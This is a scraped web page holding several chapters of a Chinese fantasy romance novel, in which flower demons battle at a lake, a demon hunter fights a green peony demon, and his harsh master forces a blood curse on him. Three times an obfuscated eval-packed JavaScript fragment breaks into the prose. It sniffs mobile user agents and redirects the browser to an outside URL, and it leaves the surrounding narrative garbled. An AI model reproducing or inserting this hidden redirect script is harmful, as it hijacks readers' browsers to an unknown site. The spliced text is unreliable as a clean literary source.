绿牡丹眉毛一扬,“图个开心呗!” 季月无语。此妖向来以作践他人为乐。 “本王要在此好好享受享受,且容你喘息几日。等斗花大会的日子到了,你就乖乖跟我回去。” 斗花大会百年一遇,每逢大会前夕,绿牡丹都要捉一只妖,打得人家鼻青脸肿,奄奄一息,放在身旁,衬托自己的容光。 一百年前她惜败于紫牡丹,未夺得花魁。这次势在必得,要一雪前耻。 自从不幸被盯上,季月就一直试图逃避被殴打、当陪衬的厄运。 “到时谁跟谁走,还不一定呢!” 绿牡丹呲牙,“月季,你还真是讨嫌。” 她打个响指,凝固的人群又动起来。朝拜国王的队伍像一条长蛇,在栈道上缓慢前行。 一个圆脸姑娘挤到亭子前,声情并茂道,“王上,小女子年方二八,今日亲眼见到王上的仙姿,堪比九天仙女下凡尘,虽死而无憾了。” 绿牡丹笑盈盈地递出一片花瓣,“把这拿去贴在镜子上,以后见了它,就如同见了我。” 那姑娘不敢相信自己竟能得到王上的恩赐,欢喜过头,两眼一翻,晕了过去。 季月远远看着,响亮地呸了一声。 韩思年冲出队伍,把那昏迷的姑娘推到一边,“王上,小人今日得见天颜,才惊觉从前二十五年都是白活,往后余生,愿长伴王上左右,以效犬马之劳。” 绿牡丹掂量他片刻,“好吧,你就留下,在我身边伺候。” 韩思年喜不自胜,连连磕头。 季月白眼翻上了天,好你个韩公子,还说要拜师捉妖呢,一点定力都没有,区区蛊术,就原形毕露了。 许大娘拉着儿子,抢上前去。 “王上!我家小宝年轻英俊,身强体健,愿嫁于王上,侍奉床榻!” “娘,让我来说!王上,我今年刚满二十,从没拉过姑娘的手!还是个清清白白的男儿身……” 众人鼓噪起来,“南安县这么多才貌双全的俊俏公子,王上凭什么看上你啊?” “什么南安县,是牡丹国。国中所有男子,都是王上的人。” “女子也是!” 韩思年出言讥讽,“若要自荐枕席,还轮不到你许小宝。” 母子俩不甘示弱,当场与众人争执起来,两边对骂,到后来尽是些污言秽语,不堪入耳。 绿牡丹瞧着众人争宠,乐不可支,巨大的花冠完全展开,在风中舞动。 季月实在看不下去了,拨开人群,逆流而出。 这些凡人已不中用了,得赶紧找到沈灵均。也不知道他那点微末道行,能不能挡住绿牡丹的蛊惑。 她逃也似地离开镜湖,走出好几条街,见人就问,“有没有看到沈大人?” 问了一路,都说没看到。她心下焦急,跑到沈府,越墙而入。 府中一切如常。沈伯正在院中和下人们弈棋,内宅王妙仪的房中隐隐传来琴声。 季月直接杀到书房,用力拍门。 “沈灵均,你在不在里面?” 木门被敲得砰砰响,却纹丝不动。她这才想起,此处设有禁制。当初草妖潜伏在沈府多日,用尽了办法也解不开。 她运起全力,一掌拍在门上。门环颤动,裂开一条缝。 掌心隐隐作痛,正要再拍,木门却从里面轰然打开,一股浓重的妖气扑面而来。 季月大惊退后。只见一个青衣道人头戴莲花冠,腰悬锦囊,手执拂尘,阴沉着脸踏出门来。 他的头发花白稀疏,勉强撑住道冠,目光凶狠暴戾,嘴唇乌黑,一道长长的伤疤从领口延伸到下巴,指甲足有三寸长。季月从妖界来到人间,也算见过许多世面,一时竟看不透他的真身。 她试探着问,“你……是什么东西变的?” 那道人须发戟张,拂尘根根如铁,横扫而来。 季月敏捷地跳开,心想,上来就动手,果然是妖的作风。 看来今日不宜出门,不光绿牡丹现身,沈灵均书房里竟然又出现一只大妖。 她扬手扔出五片花瓣,分五路攻向道人,道人拂尘回转,轻巧地拨开。 廊下过招,一来二去,响声惊动了府中之人,沈伯飞奔过来查看。道人眼中精光一闪,拔地而起,越过墙头。 “想跑?” 季月紧随其后,几个起落,追到玉川岸边。 往常河畔总有洗衣洗菜的,人来人往,热闹非凡,今日全被绿牡丹勾走了,岸边空旷得很。 道人一甩拂尘,终于开口,“大胆妖孽,受死吧!” 季月哼了一声,“你是在咒自己吗?” 带刺的枝条如同长鞭,旋转着挥向道人面门,逼得他伸手格挡。 几个回合下来,季月越发疑惑。对手掌力如狂风骤雨,法力高强,极难对付,但常常动作凝滞,似乎有伤在身。他周身的妖气更是奇怪,时强时弱,偶尔还隐匿无踪。 季月瞅个空子,兜头洒出一把花粉。道人闪避不及,花粉钻进鼻腔,害得他连打几个喷嚏,脸庞胀成紫色,狂吼着扑过来。 季月警觉,他的吼声中,竟然夹杂着极微弱的龙吟。 她迅速转过几个念头,飘然后退,“且慢。你到人间所为何事?难不成是专程找我打架的?” 道人喘息未定,恶狠狠道,“老夫生平所愿,就是斩尽天下妖邪!” 季月自然不信,随口道,“你要杀妖是吧?现在有只妖正在镜湖上作威作福,我带你去啊。” “先杀了你再说。” “我急着找人,没工夫跟你打。” “找谁?” “沈灵均。” 道人一怔,脸上阴晴不定。 “你找他作甚?” “你又找他作甚?” “你怎知我要找他?” “你不找他,怎么从他书房里出来?” 道人目光闪烁,突然大吼一声,“你还知道多少?!” 季月吓了一跳,又来一个失心疯的。 “你这老妖,听我一言。此处是人间,光打架是行不通的。你变幻的人形也破绽百出。人的凶恶都藏在心里,不会摆在脸上的。跟我走,我比你早来几个月,教你些做人的道理。” 她翩然转身走上石桥。一瞥水面倒影,那道人果然跟了上来。 一路所见,情势更加糟糕。路上遇见的人都已彻底失了神智,对眼前之物视而不见,像行尸走肉般,反复念叨同一句话,“拜见牡丹国王。” 季月拦下数人,问见没见到沈灵均,无人回答。 她皱起眉头自言自语,“这个节骨眼,到底去了哪儿?” 身后的道人也在自言自语,“好好的南安县,怎么成了这个样子?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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绿牡丹皱起鼻子,用力闻了闻,察觉到那时强时弱的妖气,突然面容扭曲,勃然大怒,“不在天池泡着,竟敢跑来这里挑衅,拿命来!” 一声惊天动地的爆响,湖心亭彻底粉碎,废墟瓦砾中,无数遒劲粗壮的枝干拔地而起,组成一座小山,挡住了日光。枝条末端开出无数朵绿色牡丹花,倏忽盛开,倏忽枯萎。顶端睁开一双凶恶的绿眼睛,向下俯视。 这副尊容季月熟悉之极,午夜梦回,常被吓醒。正是绿牡丹的妖身。 交缠的枝干中分出一条长鞭,抽向地面。 第一下打在湖面,把栈道打得粉碎,排队等着朝拜的人全部落入水中。 第二下打在岸边,数十棵大柳树拦腰截断,倒向人群。 第三下伸入人堆,末梢暴长,如灵蛇般卷住道人的腰,甩了出去。 半空中响起怒喝,“不自量力的家伙!” 季月没想到绿牡丹出手如此之快,那道人竟似不堪一击,飞到天边去了。而地面上已是哀鸿遍野,死伤无数。 躺平是不可能了。在人间伪装许久,终须以真面目现世。 季月深吸一口气,也现出妖身。褐色枝干交缠纠结,离地而起,视野不断变高变大,湖边景物迅速远离,人脸都缩成指甲盖大小。猩红的眼睛扫视下方,枝条飞出,往水中一捞,把还没淹死的人掼上岸,卷起倒下的柳树树干,扔进湖里。 冷不防身侧剧痛,竟被绿牡丹欺上前来,咬下一大口。 她那张阔口一张一合,咀嚼着月季残枝,狞笑道,“你的反应变慢了嘛。” 季月大怒,无数红色花瓣飞出,如利刃般攻向绿牡丹。 二妖既是死对头,对彼此的招数自然熟悉之极。 绿牡丹轻巧地闪身避过,花瓣落到地面,炸出一个个大洞。 她假惺惺地叹道,“唉,你把我牡丹国的国民都炸死了。” 季月一惊。这些凡人太脆弱了,绿牡丹可从来不怕伤及无辜。 她尖啸一声,一头撞向绿牡丹,把她逼到湖中央。 巨大的枝条相互抽打,无数破碎的伤口中汁液汩汩而出,红眼睛瞪着绿眼睛,分不清哪双眼睛里恨意更深。 69. 牡丹真国色(四) 沈灵均是被疼醒的。三处伤口像有火在烧,痛得尖叫,完好的皮肉也跟着颤栗,恨不能分担一些痛苦。 视线中唯有几团模糊的光晕,用力眨了眨眼,挤掉泪水,牢房的样子才显现出来。 烛火摇曳,肮脏的茅草之下,地面凹凸不平,角落的便盆发出令人作呕的酸臭,对面牢房里,两个人犯扒着栏杆,嬉笑道,“哟,醒啦!” 沈灵均无力作答,屏气凝神,运功疗伤。 “这不是沈大人吗?怎么进来陪我们了?” “你犯了什么事,吃喝嫖赌,还是贪污受贿?难不成杀了人?” 这两人的声音有些熟悉。沈灵均仔细一瞧,正是金蟾案中被判了斩刑的慧觉和慧能。两个恶僧在牢里关了一段时日,连头发都长出来了。 慧觉道,“喂,听说你有些本事,这小小牢房,应该关不住你吧?” 慧能道,“师兄,他受了伤,好像站不起来了。” 慧觉道,“可惜,可惜,他要是能带我们逃出去就好了。” 沈灵均勉强运了口气,“本朝律令,逃狱者,罪加一等。” “哈哈哈哈,我们已经判了死罪,再加能加到哪儿去?” 无所顾忌的笑声在大牢里回荡。沈灵均的耳膜阵阵刺痛。 慧觉道,“沈大人,伤你的是人还是妖啊?” 慧能道,“自然是妖了。他可是捉妖师啊。” 沈灵均涩然道,“是人。” 慧觉大惊,“哎呀,什么人如此大胆!只要你放我们出去,我们两兄弟一定给你报仇。” “不劳二位费心。” 慧能道,“别急着拒绝嘛,这牢里左右无事,您老慢慢考虑。” 死囚的嘲讽扎心得很。沈灵均闭目用功,非但没能排除杂念,反而愈发灰心丧气。 都怪自己沉醉于温柔乡,失了警醒,才让那牡丹花妖钻了空子。若有人因此丧命,他这个捉妖师难辞其咎。 他确实想脱下道袍,辞去官职,可南安县只有一个会法术的,全县百姓都仰仗于他,怎能只顾情爱,把责任抛到脑后。 思绪转到季月身上。那日在琳琅阁中,她一听到牡丹二字就大发脾气。那绿牡丹说要寻仇,该不会是冲着她来的吧? 恰在此时,一股妖气滚滚而来。砰地一声,牢门被踢开,随之传来长声惨叫。 只见徐知县头发蓬乱,衣衫破损,被人像捉小鸡似的抓住后颈,跌跌撞撞地走进来。眼光四处乱瞟,一见他便大喊,“找到了!就在这里!” 提着他的那人头戴莲花冠,一身道袍,腰悬锦囊,手持拂尘。这副尊容,沈灵均熟悉至极,偶尔做噩梦还会吓醒。 正是从小教他学艺,对他恩重如山,脾气暴躁,冷血无情的师父,天一道长。 道长满脸怒意,将徐知县胖大的身子往地下一摔,“敢关我徒儿,简直倒反天罡!” 沈灵均一时百感交集,愣了半天才道,“师父,您老人家回来了!” 徐知县捂着脸哭诉,“道长下手忒重了,本官就算得罪了沈大人,也是身不由己啊。” 他两边脸颊高高肿起,各有一个五指印,模样十分凄惨。 天一道长喝道,“若非我下重手打破蛊术,你如今还在房顶上趴着呢。” “本官……本官全不记得了!” 沈灵均道,“师父,那恶妖蛊术了得。外面的情形如何了?” 天一道长瞪了他一眼,“废物。为师的脸都让你丢尽了。” 沈灵均哑口无言。 道长踢了踢徐知县,“你,快把牢门打开。” 徐知县对天一道长畏惧得很,缩成一团,“钥匙不在本官手里……本官这就去找牢头。” 他勉强爬起来,一颠一颠地跑了出去。 天一道长环视一圈,各间牢房里的人犯为他气势所迫,都吓得大气不敢出,缩在角落。慧觉和慧能更躲到烛火照不到的阴影里去了。 道长摸出一瓶伤药,先自己吞了两粒,隔着栏杆扔给徒弟。 “快吃。吃完出去把妖杀了。” 沈灵均目光一凝,“师父,你也受伤了?” 天一道长脖颈处有一道长长的伤痕,方才掏药时,外袍敞开,里面血迹斑斑。 “哼,为师去妖界一年,斩杀了五十五只恶妖,收获颇丰,些许小伤,算得了什么。” 沈灵均看向乾坤袋,“这袋子里装的,便是蛟龙?” “不错。为师费了千辛万苦,把它困于乾坤袋中,带到人间炼化。” 袋口扎得虽紧,仍有阵阵妖气逸出,袋中之妖必是难缠得很。沈灵均心头雪亮。师父定是力战不敌,才会借助法器之力。回到人间,一为自保,二为疗伤。 “师父离开这么久,音信全无,弟子挂念得很。如今平安回来,是南安县百姓之福,弟子也可安心了。” 天一道长坐在地上,闭目调息,“为师不在的时候,发生了何事?” 沈灵均张了张嘴,千言万语,真不知从何说起。 “容弟子慢慢向师父禀告。” 天一道长睁开一只眼,“外面有只花妖到处找你。” 沈灵均心中一动。眼前浮现出季月四处奔走,着急上火的样子。她果然很牵挂他,一刻都离不开他。 天一道长盯着他的脸,突然暴喝,“你还笑得出来?!” “咳,师父息怒,弟子伤口太疼了。” 天一道长痛心疾首地摇摇头,“伸掌过来。” 师徒俩隔着牢房的栏杆运功,掌力相济,一股暖意在经络里游走,依次打通滞涩之处。 效果立竿见影。不多时,沈灵均的伤口便缩小愈合,长出了新肉。天一道长脸上却罩了一层黑气,撤了掌,歪在地上喘息。 “师父!您受了内伤,不可再运功。” “别啰嗦。知县怎么还没回来?” 监牢内外鸦雀无声。想来徐知县溜之大吉了。天一道长一挥拂尘,牢门轰然倒塌,砸在茅草堆上。 “去吧。等为师恢复了气力,再一个个同你们算账。” 沈灵均不由地打个寒战。伤口疼痛虽然消减,心头却多了千钧重担。 他从前盼着师父回来,后来又害怕师父回来。正如他从前盼着季月消失,如今却渴望把她留在身边。 人算不如天算,该来的终究要来。 镜湖一带毁得不成样子,树木倒塌,房屋倾颓。最后一缕阳光消失在西方天际,两只妖仍斗得难分难舍,枝叶横飞,水面上红花瓣叠着绿花瓣,铺了厚厚一层。 妖打架是按天计的。三个时辰,不过是刚热个身。 带刺的枝条抽向绿牡丹面门,在她脸上削下一大块。绿牡丹一口咬住枝条末端。季月顺势一拉,一颗门板大小的牙弹了出来。 “哈,补牙去吧。” 绿牡丹大怒,拔出根系,带着湖底的泥沙砸向季月。季月站立不稳,肩头被狠狠抓了一把,汁液喷涌而出。 鲜红的花瓣洒出,雨点般袭向绿牡丹,势要再削下一颗牙来。 绿牡丹合身扑上,将季月按倒,两只庞然大物扭打在一起,压塌了岸边最后一排房屋。 绿牡丹专心打架,蛊惑之力稍减,她牡丹国的“臣民”逐渐清醒,逃走了一大半,只剩个别脑筋糊涂的,仰着脖子呆呆观战。 季月撕咬到一半,突然发现自己身上披了一层银光。正值十五,庆真楼屋顶后面升起一轮圆月,清辉遍洒大地。 绿牡丹也看见了,轻蔑道,“人间的月亮怎么这么小。” 季月呸呸地吐掉嘴里的残枝,“与你何干?” 月亮的光晕中突然出现一个人影,越飞越近,季月定睛一看,正是沈灵均提着剑踏月而来。 她大喜,猛推一下绿牡丹,“乖乖受死吧!” 绿牡丹钳制住季月不放,抽出一根枝条,像赶苍蝇似的,朝沈灵均来的方向轻飘飘地挥了一下。 斩妖剑出鞘,使的是屠龙剑法第二十九式的大杀招,剑风急劲,直接将绿牡丹从季月身上掀了下去。 绿牡丹打了个滚,爬起来一看,见是白天那个被两肋插刀的倒霉蛋,眼眸之中绿光大盛。 她抖动全身枝条,无数叶片飞出。这飞叶和季月的飞花类似,都是把尖锐的边缘当刀刃用,毁伤敌人。 沈灵均飞身而上,使出那套削落叶的剑法,左劈一下,右砍一道,一时之间,无边落木萧萧而下。 季月趁机洒出花瓣,见缝插针地打在绿牡丹关节上,切断不少根茎叶脉。 绿牡丹痛得一激灵,突然伸枝条卷住沈灵均,重重甩向季月。 斩妖剑剑锋一转,砍断枝条,但去势已成。沈灵均面沉似水,飞向那对猩红的眼睛,猛然间手掌一翻。 一股掌风直抵面门,季月只觉得呼吸一滞,不由自主地向后倒去。 绿牡丹大感惊奇,这人竟如此狂妄,同时对战两只大妖? “喂,月季,先干掉他。” 季月明明没有受伤,却呆在原地,像傻了一样。 沈灵均提剑回身,以迅雷不及掩耳之势,刺向绿牡丹前胸心口所在的位置。剑锋突入,一下子陷进交错的枝条中,发出嘎吱嘎吱的响声。 若花妖有心,此刻已被洞穿。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16098293|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可惜花妖无心。 季月脱口而出,“小心!” 绿牡丹桀桀怪笑,枝条盘旋纠结,把沈灵均牢牢捆住。雪白的道袍很快隐没。 季月一惊,正要过去捞人,下一刻,熊熊烈火自绿牡丹胸口燃起,迅速蔓延开来。火焰呈蓝白色,挥之不去,遇水不灭,从头到脚一路延烧。 绿牡丹发出凄厉至极的尖啸,周身毕波作响,枝条疯狂甩动。火星子飞得到处都是,落在倒塌的房屋、树木上,转眼就烧个干净。牡丹国仅剩的“臣民”突然清醒过来,四散奔逃。 沈灵均完好无损地从火焰里出来,回身又是一掌。 绿牡丹庞大的躯体落入镜湖之中,激起滔天巨浪。蓝白色火焰在水中燃烧,把湖底的淤泥都照亮了。火烧了许久,久到镜湖水都快烧干了,才渐渐熄灭。 恢复平静的水中央,映出一轮皎皎明月。 沈灵均环顾四周,岸边经此一劫,几乎夷为平地。别说活人,连死物都烧完了。满目疮痍,触目惊心。喧嚣了许久,陡然安静下来,耳中嗡嗡作响,似乎还回荡着妖的尖啸。 斩妖剑上挂着残枝败叶,他抖抖干净,还剑入鞘。闭目感应了片刻,向西南方走去。 两岸毁损严重,走出好几里,才见到一颗残存的柳树,顽强挺立。 柳枝下露出一截红裙。季月低垂着头坐在树下。 沈灵均快步走近,凝神细看。还好,衣服上虽有破损,却不见血迹,看来没怎么受伤。 想开口,喉头却莫名哽住。 季月缓缓抬头,眼神冷冽如冰。 “你什么时候变得这么厉害了?” 他隐约看到她的瞳孔中闪过一丝红光。方才近距离看着那双猩红色的眼睛,当真可怕,原来那才是她的真面目。 他定了定神,挤出一丝笑容,“我一向就是这么厉害。功夫不是白练的。倒是你,约好在小仓山见面,怎么到处乱跑?” 季月呆了半晌,怒道,“你还好意思说!我在山上等了你几个时辰!” “哦,不巧,湖边出事了。韩思年和许小宝一人捅了我一刀。” “……什么?!” “说来话长。” 季月瞪了他一会,问,“疼吗?” “已经好了。你呢,站得起来吗?” 季月身上无数的伤口都在渗出透明的汁液,变回人身后,左脚踝使不上力,一抽一抽地疼。 “脚崴了。” 沈灵均转身蹲下,“我背你回去。” 季月迟疑片刻,乖乖地趴了上去。 长街寂寂,柔和的月光把交叠的影子拉得很长。季月伏在沈灵均背上,黑云般的长发垂落肩头,在他胸前荡来荡去。 这一天奔波打架,担惊受怕,直至此刻,方觉安心。 她试探着问,“今天的妖,是什么来头?” “不知道,从未见过。” “你那火,是怎么烧起来的?” “那是师门秘技,三昧真火,对付木系妖怪最有用。” 季月不由打了个寒颤。绿牡丹的实力比她还强上一筹,若是那火烧在自己身上,肯定完蛋了。 刚来人间时,她曾见过沈灵均用火对付树妖。那时火苗微弱,遇水就熄,和今日的熊熊烈焰不可同日而语。 短短数月,他的本领竟精进如斯。 沈灵均偏过头,柔声道,“以后遇到危险要躲起来,别光顾着看热闹。” “……知道了。” “我会保护你的。” 季月心里一暖。以他如今法力,确实有资格说这样的话。 她把下巴搁在他颈窝里,黏糊糊道,“那你自己也要小心。” 沈灵均微笑,“方才那两只妖的面目,看清楚了吗?” “看见了。绿的那只奇丑无比,恶心死了。” “红的那只也丑,还凶残得很,嘴巴大得像桥洞,一口能吞三个人。” 季月听他奚落自己,如遭重击,争辩道,“红的那只不丑!” “怎么会呢?那两只妖的长相十分类似,想必是同属一族……啊!” 季月实在听不下去了,一口咬在他肩头。“别再胡说八道了!” 沈灵均窃笑,“你生的什么气?” 季月心中委屈,一时想痛斥他不识好歹,一时又想息事宁人,犹豫了半天,没说出话来。 沈灵均凝神听着,久久没有动静,转头一看,只见季月双眼紧闭,伏在他背上睡着了。长睫微弯,睡颜宁静,恰似一朵人畜无害的小花。 他不禁微笑,随即,无边无际的忧思涌上心头。 70. 牡丹真国色(五) 夏日炎炎,万里无云,天一道人坐于高台之上,召开誓师大会。 沈灵均执剑立在东首。对面,徐知县领着县衙一干人等,垂手而立。他脸上淤伤遍布,还未消肿,有些是慌乱中磕破的,有些是天一道长打的。 烈日晒得眼睛都睁不开,但道长威势之下,一句也不敢抱怨。 台下挤满了围观的人,却没有交头接耳的,神色都有些恹恹。 天一道长高声道,“贫道久不在南安县,记得从前镜湖之畔绿草繁花,天水相映,乃是踏青郊游之所,如今遭此浩劫,满目疮痍,情何以堪。” 众人皆心下怆然。此次绿牡丹作乱,损失极为惨重。湖边一带成了妖的战场,几乎夷为平地。 “论功行赏,论罪当罚。今日当着知县大人的面,贫道要斗胆论一论罪。” 徐知县嘟囔道,“道长请说。” “首罪沈灵均,身为捉妖师,放任妖孽作乱,百姓死伤,万死难辞其咎。” 沈灵均跪倒,“弟子知罪。” 天一道长走下高台,拿过斩妖剑,猛地往前一送,刺入沈灵均肩头。 人群中一片惊呼。头戴白色幂篱的女子尖叫,“表哥!” 沈灵均伤处血流如注,强撑着没有倒下,“谢师父责罚。” 徐知县等人吓得大气都不敢出。 天一道人扔下带血的剑,走回高台。 “次罪许小宝、韩思年。不辨敌我,不明是非,砍伤朝廷官员。各打五十大板。” 徐知县唯唯诺诺,“道长说的是。” 两人早就被绑了双手,跪在空地上。手持长板的衙役上前,将两人按倒,扒下裤子,噼噼啪啪地打下去。 衙役们平时练习杖刑时,用一块豆腐摆在地上,拿小板子打上去,只准有响声,不准打破。等到打完,里头的豆腐全烂了,外面依旧是方方整整的一块。 许小宝和韩思年的屁股,正像两块豆腐。起初十下还能忍耐,打到二十下,许小宝再也受不了了,长声惨叫着讨饶。 许大娘从人群里冲出来,连连磕头,“求道长手下留情!知县大人,我儿子当时是中了妖法,绝非有心伤人啊!” 然而众人皆知天一道长铁石心肠,连自己唯一的弟子都是说砍就砍,哪敢为许小宝求情。 韩思年清醒之后,懊悔难当,恨自己轻易受了蛊惑,受点责罚也是应该,因此一声不吭,咬牙强忍。 打到三十下,两人双双晕了过去。 衙役们坚持打完五十大板,才把两个血肉模糊的人拖下去。 徐知县偷眼看着道长,心里直打鼓,生怕那两片黑嘴唇一张,宣布徐知县也有罪。 道长眉头紧锁,沉声道,“末罪,天一道人。力有不逮,让妖逃脱。” 他左手高高扬起,一掌击在自己胸口。 众人大惊,只见道长的身子晃了晃,嘴边流下一缕鲜血,脚下砖地现出几道裂痕,显然这一掌用力极重。 沈灵均道,“师父,何必如此……” “闭嘴,你给我跪好了。” 天一道长面向众人,“南安县向来太平,自我走后,妖孽横行,祸乱人间,终至生灵涂炭。当务之急,一是抚恤死者,救治伤者,二是加强防备,以免恶妖去而复返。我们师徒俩会在东南西北四个方向设置警铃,有察觉异状,及时向县衙汇报者,重重有赏。徐知县意下如何?” 徐知县点头如捣蒜,“全听道长的。” 天一道长一甩拂尘,“天一在此立誓,用性命护佑南安县。哪怕与妖孽同归于尽,也要除尽天下妖邪!” 他说得铿锵有力,台上台下,尽皆叹服。百姓们吃了颗定心丸。有天一道长回来主持大局,南安县总算有救了。 誓师大会过后,天一道长和沈灵均一同踏上沈府的马车。沈灵均直到此时,才敢掏出伤药瓶子。还没打开,就被师父劈手夺过。 天一道长递过一枚药丸,“吃这个。” 药丸色泽通红,散发辛辣之气,沈灵均从未见过这样的伤药,略一犹豫,道长便喝道,“师父还能害你不成?” 沈灵均不敢多言,仰脖吞了药,只觉一股热意直冲而下,好像吞了一捧火。嘴一张,一股青烟冒了出来。 “咳咳,师父……” 眼前天一道长的脸时而清楚,时而模糊。 “逆徒。你吞下的是血咒。一个月内若不服解药,周身血管爆裂而亡。” 沈灵均大惊,“您为何……” “你自己心里清楚。” 沈灵均连点穴道,想把药丸逼出来,干呕连连,却无济于事。所谓血咒,一旦融入血液,顷刻间就会流遍全身。 天一道长看着他徒劳地折腾,像在看一个小丑。 “别忙活了。若一个月后,南安县肃清了妖孽,为师自会救你。” 沈灵均大汗淋漓,“求师父明示!” “杀了那只花妖。” “她……她从未害过人。” “执迷不悟!迷恋妖怪是什么下场,还用为师告诉你么?” “她本领高强,弟子杀不了她。” “你是要为师亲自动手?” 沈灵均咬紧牙关,“不!还是我……自己去。” “好。你且休养几日,恢复了元气再动手。” 天一道长把伤药瓶子递还给他,“吃吧。” 沈灵均颤抖着接过。 “不是师父狠心。我们以肉体凡胎与妖相斗,如同在刀尖上行路,一步错,步步错。” “弟子受教。” 马车停在沈府,车夫掀起帘子,王妙仪和沈伯早就候在大门口,焦急地向里张望。 天一道长跳下车,鼻孔朝天,旁若无人地走了进去。 王妙仪看见沈灵均毫无血色的脸,急得直哭,“表哥你这是怎么了,快,快去请医生!” 沈灵均调整一下呼吸,压落满腔鲜血,安慰道,“哭什么,我没事。” “胡说!明明就有事!”王妙仪怨恨地望了望天一道长的背影,“都是他害的。世上哪有这样的师父!” “噤声!”沈灵均扶着沈伯的手下了车,“师父待我恩重如山。” “那你就要把命都赔进去吗?” “放心,一时半会,还死不了。” 季月听到外面一阵嘈杂,打开大门,正好看见两名衙役抬着许小宝回来,许大娘跟在后面,两只眼睛又红又肿。 她好奇地凑过去,只见许小宝趴在一块木板之上,腰部以下盖着布条,血迹已经凝结,呈紫红色。 “这是怎么回事?” 许大娘高声嚷道,“都怪那个天杀的道长!” 一名衙役道,“大娘,小声些。道长神通广大,连我们徐大人都不敢得罪。” “他再厉害,还能有千里眼,顺风耳不成?可怜我家小宝,被打得半死不活。要不是你们几个好心,我一个老婆子,都没法把他带回来……” 她心中伤痛,大放悲声,“孩子他爹,你怎么走得这样早,留下我们孤儿寡母,任人家欺负。小宝,我们娘俩的命怎么这么苦!” 两名衙役皱着眉头,合力把许小宝抬进屋,放到床上,便告辞离去。许大娘忙着烧水煎药,季月站在一旁看着。 许小宝伤处钻心地疼,瞥见季月也在,更是羞惭难当。自己的光屁股被几百人看过也就罢了,千万不能被月姐姐看到。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16105503|179499||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他哼哼唧唧道,“月姐姐,你回去吧。” 季月的眼光偏偏盯着他的伤处,“沈大人那里有伤药,我去帮你要几瓶来。” 许大娘道,“他还是留着自己用吧。你还不知道?你们家沈大人的师父回来啦!” 季月奇道,“他还有师父?” “哼,从前我们南安县就是天一道长坐镇。三年前他把官职给了沈灵均,说要去云游。这次妖孽作乱,他老人家正好回来重整旗鼓,大摆威风呢!” 季月回想半天,天一道长这个名号确实有些耳熟,好像听人提过。 “这老道长当了一辈子的捉妖师,依我看啊,倒比妖还凶残!” 季月懊悔,“我本来想好要去誓师大会瞧瞧热闹,可惜早上睡过了头。那个道长长什么样子啊?” “凶神恶煞。幸好你没去,去了还不得心疼死。” “为何?” “沈大人肩头被捅了一剑,伤得比我家小宝还重呢。” 季月大惊,“谁捅的他?!” “就是他的好师父啊。天一道长先捅了自己徒弟一剑,又命人把小宝和韩公子打得半死,最后自己打了自己一掌,把地砖都打碎了。你说,这不是疯子吗?” 季月当下就想冲去沈府,被许大娘一把拦住,“你可别去触霉头,弄得不好也挨顿打。过来,给大娘搭把手。” 她指挥季月用热水浸湿帕子,自己脱掉小宝的外衣,给他擦身。伤处的皮肉都打烂了,一碰就疼得嗷嗷叫。 许大娘眼中又掉下泪来,“医馆的人都是势利眼。韩家有钱有势,就能请动薛神医上门诊治。看我们是孤儿寡母,穷苦人家,就胡乱抓副药打发了。小宝啊,你这回要是熬不过去,娘也不活了。” 许小宝心知自己整个屁股都被季月看光了,大为窘迫,又爬不起来,只得频频仰起脖子,状如鲤鱼打挺,“娘,你别说了,让季姑娘回去吧!” “你怕什么?季姑娘心肠好得很,只会同情你,绝不会向着那道长的。” 季月点头。 “这事说到底也怪沈大人。当时花妖现世,所有人都神智不清了,他那么大的本事,怎么就不能躲着点?任由我们小宝捅一刀!” “娘!别说了!” “我偏要说。他们捉妖师神通广大,怎么没把妖抓起来啊?那天可有两只妖呢,一只都没抓到。不能向上表功,就拿百姓撒气。” 季月沉吟不语。绿牡丹掉进水里,未必就死。她道行高深,被三昧真火伤了元气,必是找个地方躲起来了。不知这个半路杀出来的道长能不能把她揪出来。 她哪里想得到,那天从沈灵均书房里出来的妖,就是天一道长。 “你说以后由天一道长主持大局,那沈灵均做什么?” 许大娘因为儿子遭难,把师徒俩一起恨上了,“他呀,给他师父当打手呗。” 许小宝小声道,“娘,沈大人一向待我们不薄。” 许大娘气得捶床,“不开窍的傻小子,这会儿还替别人说话呢!你们县衙里没一个好人,记住了吗?” 她喋喋不休地教训儿子,哭一阵,骂一阵。季月心里发沉,默默走回琳琅阁。 书房桌子上摊着一纸花笺,是她偶然从书堆里翻到的。纸上绘有一朵清雅的荷花,花心立着蜻蜓。 季月思索良久,又翻书查了半天,把要写的字找齐,这才举起羊毫,饱蘸浓墨,落笔写道:听闻另有人分担捉妖之责,君大可放手,改以养花为生,清闲度日,岂不快哉? 落款:季月。 写好以后,看了三遍,满意地对折,出门随手抓过一个孩子,给了他三文钱,让送去沈府,交沈大人亲收。 71. 牡丹真国色(六) 次日一早,沈灵均便手持花笺找上了门。 季月看他脸色苍白,背后又背上了那柄沉重的斩妖剑。 